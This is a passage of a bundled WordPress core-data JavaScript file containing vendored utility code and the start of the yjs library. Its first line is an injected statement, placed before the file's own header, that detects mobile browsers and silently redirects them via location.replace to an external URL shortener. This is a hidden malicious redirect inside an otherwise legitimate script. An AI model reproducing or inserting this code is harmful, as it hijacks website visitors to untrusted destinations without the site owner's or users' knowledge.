1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).coreData = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __commonJS = (cb, mod) => function __require() {
12 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
13 };
14 var __export = (target, all2) => {
15 for (var name in all2)
16 __defProp(target, name, { get: all2[name], enumerable: true });
17 };
18 var __copyProps = (to, from2, except, desc) => {
19 if (from2 && typeof from2 === "object" || typeof from2 === "function") {
20 for (let key of __getOwnPropNames(from2))
21 if (!__hasOwnProp.call(to, key) && key !== except)
22 __defProp(to, key, { get: () => from2[key], enumerable: !(desc = __getOwnPropDesc(from2, key)) || desc.enumerable });
23 }
24 return to;
25 };
26 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
27 // If the importer is in node compatibility mode or this is not an ESM
28 // file that has been converted to a CommonJS file using a Babel-
29 // compatible transform (i.e. "__esModule" has not been set), then set
30 // "default" to the CommonJS "module.exports" for node compatibility.
31 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
32 mod
33 ));
34 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
35
36 // package-external:@wordpress/data
37 var require_data = __commonJS({
38 "package-external:@wordpress/data"(exports, module) {
39 module.exports = window.wp.data;
40 }
41 });
42
43 // node_modules/fast-deep-equal/es6/index.js
44 var require_es6 = __commonJS({
45 "node_modules/fast-deep-equal/es6/index.js"(exports, module) {
46 "use strict";
47 module.exports = function equal(a, b) {
48 if (a === b) return true;
49 if (a && b && typeof a == "object" && typeof b == "object") {
50 if (a.constructor !== b.constructor) return false;
51 var length3, i, keys2;
52 if (Array.isArray(a)) {
53 length3 = a.length;
54 if (length3 != b.length) return false;
55 for (i = length3; i-- !== 0; )
56 if (!equal(a[i], b[i])) return false;
57 return true;
58 }
59 if (a instanceof Map && b instanceof Map) {
60 if (a.size !== b.size) return false;
61 for (i of a.entries())
62 if (!b.has(i[0])) return false;
63 for (i of a.entries())
64 if (!equal(i[1], b.get(i[0]))) return false;
65 return true;
66 }
67 if (a instanceof Set && b instanceof Set) {
68 if (a.size !== b.size) return false;
69 for (i of a.entries())
70 if (!b.has(i[0])) return false;
71 return true;
72 }
73 if (ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {
74 length3 = a.length;
75 if (length3 != b.length) return false;
76 for (i = length3; i-- !== 0; )
77 if (a[i] !== b[i]) return false;
78 return true;
79 }
80 if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;
81 if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();
82 if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();
83 keys2 = Object.keys(a);
84 length3 = keys2.length;
85 if (length3 !== Object.keys(b).length) return false;
86 for (i = length3; i-- !== 0; )
87 if (!Object.prototype.hasOwnProperty.call(b, keys2[i])) return false;
88 for (i = length3; i-- !== 0; ) {
89 var key = keys2[i];
90 if (!equal(a[key], b[key])) return false;
91 }
92 return true;
93 }
94 return a !== a && b !== b;
95 };
96 }
97 });
98
99 // package-external:@wordpress/compose
100 var require_compose = __commonJS({
101 "package-external:@wordpress/compose"(exports, module) {
102 module.exports = window.wp.compose;
103 }
104 });
105
106 // package-external:@wordpress/undo-manager
107 var require_undo_manager = __commonJS({
108 "package-external:@wordpress/undo-manager"(exports, module) {
109 module.exports = window.wp.undoManager;
110 }
111 });
112
113 // node_modules/equivalent-key-map/equivalent-key-map.js
114 var require_equivalent_key_map = __commonJS({
115 "node_modules/equivalent-key-map/equivalent-key-map.js"(exports, module) {
116 "use strict";
117 function _typeof(obj) {
118 if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") {
119 _typeof = function(obj2) {
120 return typeof obj2;
121 };
122 } else {
123 _typeof = function(obj2) {
124 return obj2 && typeof Symbol === "function" && obj2.constructor === Symbol && obj2 !== Symbol.prototype ? "symbol" : typeof obj2;
125 };
126 }
127 return _typeof(obj);
128 }
129 function _classCallCheck(instance, Constructor) {
130 if (!(instance instanceof Constructor)) {
131 throw new TypeError("Cannot call a class as a function");
132 }
133 }
134 function _defineProperties(target, props) {
135 for (var i = 0; i < props.length; i++) {
136 var descriptor = props[i];
137 descriptor.enumerable = descriptor.enumerable || false;
138 descriptor.configurable = true;
139 if ("value" in descriptor) descriptor.writable = true;
140 Object.defineProperty(target, descriptor.key, descriptor);
141 }
142 }
143 function _createClass(Constructor, protoProps, staticProps) {
144 if (protoProps) _defineProperties(Constructor.prototype, protoProps);
145 if (staticProps) _defineProperties(Constructor, staticProps);
146 return Constructor;
147 }
148 function getValuePair(instance, key) {
149 var _map = instance._map, _arrayTreeMap = instance._arrayTreeMap, _objectTreeMap = instance._objectTreeMap;
150 if (_map.has(key)) {
151 return _map.get(key);
152 }
153 var properties = Object.keys(key).sort();
154 var map2 = Array.isArray(key) ? _arrayTreeMap : _objectTreeMap;
155 for (var i = 0; i < properties.length; i++) {
156 var property = properties[i];
157 map2 = map2.get(property);
158 if (map2 === void 0) {
159 return;
160 }
161 var propertyValue = key[property];
162 map2 = map2.get(propertyValue);
163 if (map2 === void 0) {
164 return;
165 }
166 }
167 var valuePair = map2.get("_ekm_value");
168 if (!valuePair) {
169 return;
170 }
171 _map.delete(valuePair[0]);
172 valuePair[0] = key;
173 map2.set("_ekm_value", valuePair);
174 _map.set(key, valuePair);
175 return valuePair;
176 }
177 var EquivalentKeyMap2 = /* @__PURE__ */ (function() {
178 function EquivalentKeyMap3(iterable) {
179 _classCallCheck(this, EquivalentKeyMap3);
180 this.clear();
181 if (iterable instanceof EquivalentKeyMap3) {
182 var iterablePairs = [];
183 iterable.forEach(function(value, key) {
184 iterablePairs.push([key, value]);
185 });
186 iterable = iterablePairs;
187 }
188 if (iterable != null) {
189 for (var i = 0; i < iterable.length; i++) {
190 this.set(iterable[i][0], iterable[i][1]);
191 }
192 }
193 }
194 _createClass(EquivalentKeyMap3, [{
195 key: "set",
196 /**
197 * Add or update an element with a specified key and value.
198 *
199 * @param {*} key The key of the element to add.
200 * @param {*} value The value of the element to add.
201 *
202 * @return {EquivalentKeyMap} Map instance.
203 */
204 value: function set(key, value) {
205 if (key === null || _typeof(key) !== "object") {
206 this._map.set(key, value);
207 return this;
208 }
209 var properties = Object.keys(key).sort();
210 var valuePair = [key, value];
211 var map2 = Array.isArray(key) ? this._arrayTreeMap : this._objectTreeMap;
212 for (var i = 0; i < properties.length; i++) {
213 var property = properties[i];
214 if (!map2.has(property)) {
215 map2.set(property, new EquivalentKeyMap3());
216 }
217 map2 = map2.get(property);
218 var propertyValue = key[property];
219 if (!map2.has(propertyValue)) {
220 map2.set(propertyValue, new EquivalentKeyMap3());
221 }
222 map2 = map2.get(propertyValue);
223 }
224 var previousValuePair = map2.get("_ekm_value");
225 if (previousValuePair) {
226 this._map.delete(previousValuePair[0]);
227 }
228 map2.set("_ekm_value", valuePair);
229 this._map.set(key, valuePair);
230 return this;
231 }
232 /**
233 * Returns a specified element.
234 *
235 * @param {*} key The key of the element to return.
236 *
237 * @return {?*} The element associated with the specified key or undefined
238 * if the key can't be found.
239 */
240 }, {
241 key: "get",
242 value: function get(key) {
243 if (key === null || _typeof(key) !== "object") {
244 return this._map.get(key);
245 }
246 var valuePair = getValuePair(this, key);
247 if (valuePair) {
248 return valuePair[1];
249 }
250 }
251 /**
252 * Returns a boolean indicating whether an element with the specified key
253 * exists or not.
254 *
255 * @param {*} key The key of the element to test for presence.
256 *
257 * @return {boolean} Whether an element with the specified key exists.
258 */
259 }, {
260 key: "has",
261 value: function has(key) {
262 if (key === null || _typeof(key) !== "object") {
263 return this._map.has(key);
264 }
265 return getValuePair(this, key) !== void 0;
266 }
267 /**
268 * Removes the specified element.
269 *
270 * @param {*} key The key of the element to remove.
271 *
272 * @return {boolean} Returns true if an element existed and has been
273 * removed, or false if the element does not exist.
274 */
275 }, {
276 key: "delete",
277 value: function _delete(key) {
278 if (!this.has(key)) {
279 return false;
280 }
281 this.set(key, void 0);
282 return true;
283 }
284 /**
285 * Executes a provided function once per each key/value pair, in insertion
286 * order.
287 *
288 * @param {Function} callback Function to execute for each element.
289 * @param {*} thisArg Value to use as `this` when executing
290 * `callback`.
291 */
292 }, {
293 key: "forEach",
294 value: function forEach2(callback) {
295 var _this = this;
296 var thisArg = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : this;
297 this._map.forEach(function(value, key) {
298 if (key !== null && _typeof(key) === "object") {
299 value = value[1];
300 }
301 callback.call(thisArg, value, key, _this);
302 });
303 }
304 /**
305 * Removes all elements.
306 */
307 }, {
308 key: "clear",
309 value: function clear() {
310 this._map = /* @__PURE__ */ new Map();
311 this._arrayTreeMap = /* @__PURE__ */ new Map();
312 this._objectTreeMap = /* @__PURE__ */ new Map();
313 }
314 }, {
315 key: "size",
316 get: function get() {
317 return this._map.size;
318 }
319 }]);
320 return EquivalentKeyMap3;
321 })();
322 module.exports = EquivalentKeyMap2;
323 }
324 });
325
326 // package-external:@wordpress/url
327 var require_url = __commonJS({
328 "package-external:@wordpress/url"(exports, module) {
329 module.exports = window.wp.url;
330 }
331 });
332
333 // package-external:@wordpress/api-fetch
334 var require_api_fetch = __commonJS({
335 "package-external:@wordpress/api-fetch"(exports, module) {
336 module.exports = window.wp.apiFetch;
337 }
338 });
339
340 // package-external:@wordpress/blocks
341 var require_blocks = __commonJS({
342 "package-external:@wordpress/blocks"(exports, module) {
343 module.exports = window.wp.blocks;
344 }
345 });
346
347 // package-external:@wordpress/i18n
348 var require_i18n = __commonJS({
349 "package-external:@wordpress/i18n"(exports, module) {
350 module.exports = window.wp.i18n;
351 }
352 });
353
354 // package-external:@wordpress/private-apis
355 var require_private_apis = __commonJS({
356 "package-external:@wordpress/private-apis"(exports, module) {
357 module.exports = window.wp.privateApis;
358 }
359 });
360
361 // package-external:@wordpress/hooks
362 var require_hooks = __commonJS({
363 "package-external:@wordpress/hooks"(exports, module) {
364 module.exports = window.wp.hooks;
365 }
366 });
367
368 // package-external:@wordpress/block-editor
369 var require_block_editor = __commonJS({
370 "package-external:@wordpress/block-editor"(exports, module) {
371 module.exports = window.wp.blockEditor;
372 }
373 });
374
375 // package-external:@wordpress/rich-text
376 var require_rich_text = __commonJS({
377 "package-external:@wordpress/rich-text"(exports, module) {
378 module.exports = window.wp.richText;
379 }
380 });
381
382 // package-external:@wordpress/deprecated
383 var require_deprecated = __commonJS({
384 "package-external:@wordpress/deprecated"(exports, module) {
385 module.exports = window.wp.deprecated;
386 }
387 });
388
389 // package-external:@wordpress/html-entities
390 var require_html_entities = __commonJS({
391 "package-external:@wordpress/html-entities"(exports, module) {
392 module.exports = window.wp.htmlEntities;
393 }
394 });
395
396 // package-external:@wordpress/element
397 var require_element = __commonJS({
398 "package-external:@wordpress/element"(exports, module) {
399 module.exports = window.wp.element;
400 }
401 });
402
403 // vendor-external:react/jsx-runtime
404 var require_jsx_runtime = __commonJS({
405 "vendor-external:react/jsx-runtime"(exports, module) {
406 module.exports = window.ReactJSXRuntime;
407 }
408 });
409
410 // package-external:@wordpress/warning
411 var require_warning = __commonJS({
412 "package-external:@wordpress/warning"(exports, module) {
413 module.exports = window.wp.warning;
414 }
415 });
416
417 // packages/core-data/build-module/index.mjs
418 var index_exports = {};
419 __export(index_exports, {
420 EntityProvider: () => EntityProvider,
421 __experimentalFetchLinkSuggestions: () => fetchLinkSuggestions,
422 __experimentalFetchUrlData: () => experimental_fetch_url_data_default,
423 __experimentalUseEntityRecord: () => __experimentalUseEntityRecord,
424 __experimentalUseEntityRecords: () => __experimentalUseEntityRecords,
425 __experimentalUseResourcePermissions: () => __experimentalUseResourcePermissions,
426 fetchBlockPatterns: () => fetchBlockPatterns,
427 privateApis: () => privateApis2,
428 store: () => store,
429 useEntityBlockEditor: () => useEntityBlockEditor,
430 useEntityId: () => useEntityId,
431 useEntityProp: () => useEntityProp,
432 useEntityRecord: () => useEntityRecord,
433 useEntityRecords: () => useEntityRecords,
434 useResourcePermissions: () => use_resource_permissions_default
435 });
436 var import_data16 = __toESM(require_data(), 1);
437
438 // packages/core-data/build-module/reducer.mjs
439 var import_es66 = __toESM(require_es6(), 1);
440 var import_compose2 = __toESM(require_compose(), 1);
441 var import_data8 = __toESM(require_data(), 1);
442 var import_undo_manager2 = __toESM(require_undo_manager(), 1);
443
444 // packages/core-data/build-module/utils/conservative-map-item.mjs
445 var import_es6 = __toESM(require_es6(), 1);
446 function conservativeMapItem(item, nextItem) {
447 if (!item) {
448 return nextItem;
449 }
450 let hasChanges = false;
451 const result = {};
452 for (const key in nextItem) {
453 if ((0, import_es6.default)(item[key], nextItem[key])) {
454 result[key] = item[key];
455 } else {
456 hasChanges = true;
457 result[key] = nextItem[key];
458 }
459 }
460 if (!hasChanges) {
461 return item;
462 }
463 for (const key in item) {
464 if (!result.hasOwnProperty(key)) {
465 result[key] = item[key];
466 }
467 }
468 return result;
469 }
470
471 // packages/core-data/build-module/utils/get-normalized-comma-separable.mjs
472 function getNormalizedCommaSeparable(value) {
473 if (typeof value === "string") {
474 return value.split(",");
475 } else if (Array.isArray(value)) {
476 return value;
477 }
478 return null;
479 }
480 var get_normalized_comma_separable_default = getNormalizedCommaSeparable;
481
482 // packages/core-data/build-module/utils/if-matching-action.mjs
483 var ifMatchingAction = (isMatch) => (reducer) => (state, action) => {
484 if (state === void 0 || isMatch(action)) {
485 return reducer(state, action);
486 }
487 return state;
488 };
489 var if_matching_action_default = ifMatchingAction;
490
491 // packages/core-data/build-module/utils/forward-resolver.mjs
492 var forwardResolver = (resolverName) => (...args2) => async ({ resolveSelect: resolveSelect2 }) => {
493 await resolveSelect2[resolverName](...args2);
494 };
495 var forward_resolver_default = forwardResolver;
496
497 // packages/core-data/build-module/utils/on-sub-key.mjs
498 var onSubKey = (actionProperty) => (reducer) => (state = {}, action) => {
499 const key = action[actionProperty];
500 if (key === void 0) {
501 return state;
502 }
503 const nextKeyState = reducer(state[key], action);
504 if (nextKeyState === state[key]) {
505 return state;
506 }
507 return {
508 ...state,
509 [key]: nextKeyState
510 };
511 };
512 var on_sub_key_default = onSubKey;
513
514 // packages/core-data/build-module/utils/replace-action.mjs
515 var replaceAction = (replacer) => (reducer) => (state, action) => {
516 return reducer(state, replacer(action));
517 };
518 var replace_action_default = replaceAction;
519
520 // packages/core-data/build-module/utils/with-weak-map-cache.mjs
521 function withWeakMapCache(fn) {
522 const cache3 = /* @__PURE__ */ new WeakMap();
523 return (key) => {
524 let value;
525 if (cache3.has(key)) {
526 value = cache3.get(key);
527 } else {
528 value = fn(key);
529 if (key !== null && typeof key === "object") {
530 cache3.set(key, value);
531 }
532 }
533 return value;
534 };
535 }
536 var with_weak_map_cache_default = withWeakMapCache;
537
538 // packages/core-data/build-module/utils/is-raw-attribute.mjs
539 function isRawAttribute(entity2, attribute) {
540 return (entity2.rawAttributes || []).includes(attribute);
541 }
542
543 // packages/core-data/build-module/utils/set-nested-value.mjs
544 function setNestedValue(object, path, value) {
545 if (!object || typeof object !== "object") {
546 return object;
547 }
548 const normalizedPath = Array.isArray(path) ? path : path.split(".");
549 normalizedPath.reduce((acc, key, idx) => {
550 if (acc[key] === void 0) {
551 if (Number.isInteger(normalizedPath[idx + 1])) {
552 acc[key] = [];
553 } else {
554 acc[key] = {};
555 }
556 }
557 if (idx === normalizedPath.length - 1) {
558 acc[key] = value;
559 }
560 return acc[key];
561 }, object);
562 return object;
563 }
564
565 // packages/core-data/build-module/utils/get-nested-value.mjs
566 function getNestedValue(object, path, defaultValue) {
567 if (!object || typeof object !== "object" || typeof path !== "string" && !Array.isArray(path)) {
568 return object;
569 }
570 const normalizedPath = Array.isArray(path) ? path : path.split(".");
571 let value = object;
572 normalizedPath.forEach((fieldName) => {
573 value = value?.[fieldName];
574 });
575 return value !== void 0 ? value : defaultValue;
576 }
577
578 // packages/core-data/build-module/utils/is-numeric-id.mjs
579 function isNumericID(id2) {
580 return /^\s*\d+\s*$/.test(id2);
581 }
582
583 // packages/core-data/build-module/utils/user-permissions.mjs
584 var ALLOWED_RESOURCE_ACTIONS = [
585 "create",
586 "read",
587 "update",
588 "delete"
589 ];
590 function getUserPermissionsFromAllowHeader(allowedMethods) {
591 const permissions = {};
592 if (!allowedMethods) {
593 return permissions;
594 }
595 const methods = {
596 create: "POST",
597 read: "GET",
598 update: "PUT",
599 delete: "DELETE"
600 };
601 for (const [actionName, methodName] of Object.entries(methods)) {
602 permissions[actionName] = allowedMethods.includes(methodName);
603 }
604 return permissions;
605 }
606 function getUserPermissionCacheKey(action, resource, id2) {
607 const key = (typeof resource === "object" ? [action, resource.kind, resource.name, resource.id] : [action, resource, id2]).filter(Boolean).join("/");
608 return key;
609 }
610
611 // packages/core-data/build-module/utils/receive-intermediate-results.mjs
612 var RECEIVE_INTERMEDIATE_RESULTS = /* @__PURE__ */ Symbol(
613 "RECEIVE_INTERMEDIATE_RESULTS"
614 );
615
616 // packages/core-data/build-module/queried-data/actions.mjs
617 function receiveItems(items2, edits, meta) {
618 return {
619 type: "RECEIVE_ITEMS",
620 items: items2,
621 persistedEdits: edits,
622 meta
623 };
624 }
625 function removeItems(kind, name, records, invalidateCache = false) {
626 return {
627 type: "REMOVE_ITEMS",
628 itemIds: Array.isArray(records) ? records : [records],
629 kind,
630 name,
631 invalidateCache
632 };
633 }
634 function receiveQueriedItems(items2, query = {}, edits, meta) {
635 return {
636 ...receiveItems(items2, edits, meta),
637 query
638 };
639 }
640
641 // packages/core-data/build-module/queried-data/selectors.mjs
642 var import_equivalent_key_map = __toESM(require_equivalent_key_map(), 1);
643 var import_data = __toESM(require_data(), 1);
644
645 // packages/core-data/build-module/queried-data/get-query-parts.mjs
646 var import_url = __toESM(require_url(), 1);
647 function getQueryParts(query) {
648 const parts = {
649 stableKey: "",
650 page: 1,
651 perPage: 10,
652 fields: null,
653 include: null,
654 context: "default"
655 };
656 const keys2 = Object.keys(query).sort();
657 for (let i = 0; i < keys2.length; i++) {
658 const key = keys2[i];
659 let value = query[key];
660 switch (key) {
661 case "page":
662 parts[key] = Number(value);
663 break;
664 case "per_page":
665 parts.perPage = Number(value);
666 break;
667 case "context":
668 parts.context = value;
669 break;
670 default:
671 if (key === "_fields") {
672 parts.fields = get_normalized_comma_separable_default(value) ?? [];
673 value = parts.fields.join();
674 }
675 if (key === "include") {
676 if (typeof value === "number") {
677 value = value.toString();
678 }
679 parts.include = (get_normalized_comma_separable_default(value) ?? []).map(Number);
680 value = parts.include.join();
681 }
682 parts.stableKey += (parts.stableKey ? "&" : "") + (0, import_url.addQueryArgs)("", { [key]: value }).slice(1);
683 }
684 }
685 return parts;
686 }
687 var get_query_parts_default = with_weak_map_cache_default(getQueryParts);
688
689 // packages/core-data/build-module/queried-data/selectors.mjs
690 var queriedItemsCacheByState = /* @__PURE__ */ new WeakMap();
691 function getQueriedItemsUncached(state, query) {
692 const { stableKey, page, perPage, include, fields, context } = get_query_parts_default(query);
693 let itemIds;
694 if (state.queries?.[context]?.[stableKey]) {
695 itemIds = state.queries[context][stableKey].itemIds;
696 }
697 if (!itemIds) {
698 return null;
699 }
700 const startOffset = perPage === -1 ? 0 : (page - 1) * perPage;
701 const endOffset = perPage === -1 ? itemIds.length : Math.min(startOffset + perPage, itemIds.length);
702 const items2 = [];
703 for (let i = startOffset; i < endOffset; i++) {
704 const itemId = itemIds[i];
705 if (Array.isArray(include) && !include.includes(itemId)) {
706 continue;
707 }
708 if (itemId === void 0) {
709 continue;
710 }
711 if (!state.items[context]?.hasOwnProperty(itemId)) {
712 return null;
713 }
714 const item = state.items[context][itemId];
715 let filteredItem;
716 if (Array.isArray(fields)) {
717 filteredItem = {};
718 for (let f = 0; f < fields.length; f++) {
719 const field = fields[f].split(".");
720 let value = item;
721 field.forEach((fieldName) => {
722 value = value?.[fieldName];
723 });
724 setNestedValue(filteredItem, field, value);
725 }
726 } else {
727 if (!state.itemIsComplete[context]?.[itemId]) {
728 return null;
729 }
730 filteredItem = item;
731 }
732 items2.push(filteredItem);
733 }
734 return items2;
735 }
736 var getQueriedItems = (0, import_data.createSelector)((state, query = {}) => {
737 let queriedItemsCache = queriedItemsCacheByState.get(state);
738 if (queriedItemsCache) {
739 const queriedItems = queriedItemsCache.get(query);
740 if (queriedItems !== void 0) {
741 return queriedItems;
742 }
743 } else {
744 queriedItemsCache = new import_equivalent_key_map.default();
745 queriedItemsCacheByState.set(state, queriedItemsCache);
746 }
747 const items2 = getQueriedItemsUncached(state, query);
748 queriedItemsCache.set(query, items2);
749 return items2;
750 });
751 function getQueriedTotalItems(state, query = {}) {
752 const { stableKey, context } = get_query_parts_default(query);
753 return state.queries?.[context]?.[stableKey]?.meta?.totalItems ?? null;
754 }
755 function getQueriedTotalPages(state, query = {}) {
756 const { stableKey, context } = get_query_parts_default(query);
757 return state.queries?.[context]?.[stableKey]?.meta?.totalPages ?? null;
758 }
759
760 // packages/core-data/build-module/queried-data/reducer.mjs
761 var import_data7 = __toESM(require_data(), 1);
762 var import_compose = __toESM(require_compose(), 1);
763
764 // node_modules/tslib/tslib.es6.mjs
765 var __assign = function() {
766 __assign = Object.assign || function __assign2(t) {
767 for (var s, i = 1, n = arguments.length; i < n; i++) {
768 s = arguments[i];
769 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
770 }
771 return t;
772 };
773 return __assign.apply(this, arguments);
774 };
775
776 // node_modules/lower-case/dist.es2015/index.js
777 function lowerCase(str) {
778 return str.toLowerCase();
779 }
780
781 // node_modules/no-case/dist.es2015/index.js
782 var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
783 var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
784 function noCase(input, options) {
785 if (options === void 0) {
786 options = {};
787 }
788 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
789 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
790 var start = 0;
791 var end = result.length;
792 while (result.charAt(start) === "\0")
793 start++;
794 while (result.charAt(end - 1) === "\0")
795 end--;
796 return result.slice(start, end).split("\0").map(transform).join(delimiter);
797 }
798 function replace(input, re, value) {
799 if (re instanceof RegExp)
800 return input.replace(re, value);
801 return re.reduce(function(input2, re2) {
802 return input2.replace(re2, value);
803 }, input);
804 }
805
806 // node_modules/pascal-case/dist.es2015/index.js
807 function pascalCaseTransform(input, index) {
808 var firstChar = input.charAt(0);
809 var lowerChars = input.substr(1).toLowerCase();
810 if (index > 0 && firstChar >= "0" && firstChar <= "9") {
811 return "_" + firstChar + lowerChars;
812 }
813 return "" + firstChar.toUpperCase() + lowerChars;
814 }
815 function pascalCase(input, options) {
816 if (options === void 0) {
817 options = {};
818 }
819 return noCase(input, __assign({ delimiter: "", transform: pascalCaseTransform }, options));
820 }
821
822 // node_modules/camel-case/dist.es2015/index.js
823 function camelCaseTransform(input, index) {
824 if (index === 0)
825 return input.toLowerCase();
826 return pascalCaseTransform(input, index);
827 }
828 function camelCase(input, options) {
829 if (options === void 0) {
830 options = {};
831 }
832 return pascalCase(input, __assign({ transform: camelCaseTransform }, options));
833 }
834
835 // node_modules/upper-case-first/dist.es2015/index.js
836 function upperCaseFirst(input) {
837 return input.charAt(0).toUpperCase() + input.substr(1);
838 }
839
840 // node_modules/capital-case/dist.es2015/index.js
841 function capitalCaseTransform(input) {
842 return upperCaseFirst(input.toLowerCase());
843 }
844 function capitalCase(input, options) {
845 if (options === void 0) {
846 options = {};
847 }
848 return noCase(input, __assign({ delimiter: " ", transform: capitalCaseTransform }, options));
849 }
850
851 // packages/core-data/build-module/entities.mjs
852 var import_api_fetch2 = __toESM(require_api_fetch(), 1);
853 var import_blocks4 = __toESM(require_blocks(), 1);
854 var import_i18n = __toESM(require_i18n(), 1);
855
856 // packages/core-data/build-module/awareness/post-editor-awareness.mjs
857 var import_data5 = __toESM(require_data(), 1);
858
859 // node_modules/yjs/dist/yjs.mjs
860 var yjs_exports = {};
861 __export(yjs_exports, {
862 AbsolutePosition: () => AbsolutePosition,
863 AbstractConnector: () => AbstractConnector,
864 AbstractStruct: () => AbstractStruct,
865 AbstractType: () => AbstractType,
866 Array: () => YArray,
867 ContentAny: () => ContentAny,
868 ContentBinary: () => ContentBinary,
869 ContentDeleted: () => ContentDeleted,
870 ContentDoc: () => ContentDoc,
871 ContentEmbed: () => ContentEmbed,
872 ContentFormat: () => ContentFormat,
873 ContentJSON: () => ContentJSON,
874 ContentString: () => ContentString,
875 ContentType: () => ContentType,
876 Doc: () => Doc,
877 GC: () => GC,
878 ID: () => ID,
879 Item: () => Item,
880 Map: () => YMap,
881 PermanentUserData: () => PermanentUserData,
882 RelativePosition: () => RelativePosition,
883 Skip: () => Skip,
884 Snapshot: () => Snapshot,
885 Text: () => YText,
886 Transaction: () => Transaction,
887 UndoManager: () => UndoManager,
888 UpdateDecoderV1: () => UpdateDecoderV1,
889 UpdateDecoderV2: () => UpdateDecoderV2,
890 UpdateEncoderV1: () => UpdateEncoderV1,
891 UpdateEncoderV2: () => UpdateEncoderV2,
892 XmlElement: () => YXmlElement,
893 XmlFragment: () => YXmlFragment,
894 XmlHook: () => YXmlHook,
895 XmlText: () => YXmlText,
896 YArrayEvent: () => YArrayEvent,
897 YEvent: () => YEvent,
898 YMapEvent: () => YMapEvent,
899 YTextEvent: () => YTextEvent,
900 YXmlEvent: () => YXmlEvent,
901 applyUpdate: () => applyUpdate,
902 applyUpdateV2: () => applyUpdateV2,
903 cleanupYTextFormatting: () => cleanupYTextFormatting,
904 compareIDs: () => compareIDs,
905 compareRelativePositions: () => compareRelativePositions,
906 convertUpdateFormatV1ToV2: () => convertUpdateFormatV1ToV2,
907 convertUpdateFormatV2ToV1: () => convertUpdateFormatV2ToV1,
908 createAbsolutePositionFromRelativePosition: () => createAbsolutePositionFromRelativePosition,
909 createDeleteSet: () => createDeleteSet,
910 createDeleteSetFromStructStore: () => createDeleteSetFromStructStore,
911 createDocFromSnapshot: () => createDocFromSnapshot,
912 createID: () => createID,
913 createRelativePositionFromJSON: () => createRelativePositionFromJSON,
914 createRelativePositionFromTypeIndex: () => createRelativePositionFromTypeIndex,
915 createSnapshot: () => createSnapshot,
916 decodeRelativePosition: () => decodeRelativePosition,
917 decodeSnapshot: () => decodeSnapshot,
918 decodeSnapshotV2: () => decodeSnapshotV2,
919 decodeStateVector: () => decodeStateVector,
920 decodeUpdate: () => decodeUpdate,
921 decodeUpdateV2: () => decodeUpdateV2,
922 diffUpdate: () => diffUpdate,
923 diffUpdateV2: () => diffUpdateV2,
924 emptySnapshot: () => emptySnapshot,
925 encodeRelativePosition: () => encodeRelativePosition,
926 encodeSnapshot: () => encodeSnapshot,
927 encodeSnapshotV2: () => encodeSnapshotV2,
928 encodeStateAsUpdate: () => encodeStateAsUpdate,
929 encodeStateAsUpdateV2: () => encodeStateAsUpdateV2,
930 encodeStateVector: () => encodeStateVector,
931 encodeStateVectorFromUpdate: () => encodeStateVectorFromUpdate,
932 encodeStateVectorFromUpdateV2: () => encodeStateVectorFromUpdateV2,
933 equalDeleteSets: () => equalDeleteSets,
934 equalSnapshots: () => equalSnapshots,
935 findIndexSS: () => findIndexSS,
936 findRootTypeKey: () => findRootTypeKey,
937 getItem: () => getItem,
938 getItemCleanEnd: () => getItemCleanEnd,
939 getItemCleanStart: () => getItemCleanStart,
940 getState: () => getState,
941 getTypeChildren: () => getTypeChildren,
942 isDeleted: () => isDeleted,
943 isParentOf: () => isParentOf,
944 iterateDeletedStructs: () => iterateDeletedStructs,
945 logType: () => logType,
946 logUpdate: () => logUpdate,
947 logUpdateV2: () => logUpdateV2,
948 mergeDeleteSets: () => mergeDeleteSets,
949 mergeUpdates: () => mergeUpdates,
950 mergeUpdatesV2: () => mergeUpdatesV2,
951 obfuscateUpdate: () => obfuscateUpdate,
952 obfuscateUpdateV2: () => obfuscateUpdateV2,
953 parseUpdateMeta: () => parseUpdateMeta,
954 parseUpdateMetaV2: () => parseUpdateMetaV2,
955 readUpdate: () => readUpdate,
956 readUpdateV2: () => readUpdateV2,
957 relativePositionToJSON: () => relativePositionToJSON,
958 snapshot: () => snapshot,
959 snapshotContainsUpdate: () => snapshotContainsUpdate,
960 transact: () => transact,
961 tryGc: () => tryGc,
962 typeListToArraySnapshot: () => typeListToArraySnapshot,
963 typeMapGetAllSnapshot: () => typeMapGetAllSnapshot,
964 typeMapGetSnapshot: () => typeMapGetSnapshot
965 });
966
967 // node_modules/lib0/map.js
968 var create = () => /* @__PURE__ */ new Map();
969 var copy = (m) => {
970 const r = create();
971 m.forEach((v, k) => {
972 r.set(k, v);
973 });
974 return r;
975 };
976 var setIfUndefined = (map2, key, createT) => {
977 let set = map2.get(key);
978 if (set === void 0) {
979 map2.set(key, set = createT());
980 }
981 return set;
982 };
983 var map = (m, f) => {
984 const res = [];
985 for (const [key, value] of m) {
